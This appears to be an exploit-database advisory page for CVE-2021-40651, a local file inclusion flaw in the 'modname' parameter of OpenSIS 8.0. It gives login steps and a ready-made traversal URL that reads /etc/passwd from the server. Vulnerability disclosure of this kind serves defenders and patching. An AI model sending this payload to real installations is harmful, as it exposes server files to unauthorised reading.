OpenSIS 8.0 'modname' - Directory Traversal
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2021-40651 | 29 Sep 202112:15 | – | attackerkb |
 | CVE-2021-40651 | 29 Sep 202116:36 | – | circl |
 | OS4Ed OpenSIS 路径遍历漏洞 | 29 Sep 202100:00 | – | cnnvd |
 | CVE-2021-40651 | 29 Sep 202111:59 | – | cve |
 | CVE-2021-40651 | 29 Sep 202111:59 | – | cvelist |
 | OS4Ed OpenSIS Community 8.0 - Local File Inclusion | 3 Aug 202603:00 | – | nuclei |
 | CVE-2021-40651 | 29 Sep 202112:15 | – | nvd |
 | Design/Logic Flaw | 29 Sep 202112:15 | – | prion |
# Exploit Title: OpenSIS 8.0 'modname' - Directory/Path Traversal
# Date: 09-02-2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux
# CVE: CVE-2021-40651
The 'modname' parameter in the 'Modules.php' is vulnerable to local file inclusion vulnerability. This vulnerability can be exploited to expose sensitive information from arbitrary files in the underlying system.
To exploit the vulnerability, someone must login as the "Parent" user, navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php. The 'modname' parameter and requests the Portal.php's contents. By going back a few directory using '..%2f' decoded as '../' it was possible to disclose arbitrary file from the server's filesystem as long as the application has access to the file.
1. Login as "Parent"
2. Open a web proxy such as BurpSuite and capture the requests
3. Navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login=
4. Check the response
PoC: https://youtu.be/wFwlbXANRCoData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Oct 2021 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24
CVSS 3.16.5
EPSS0.17945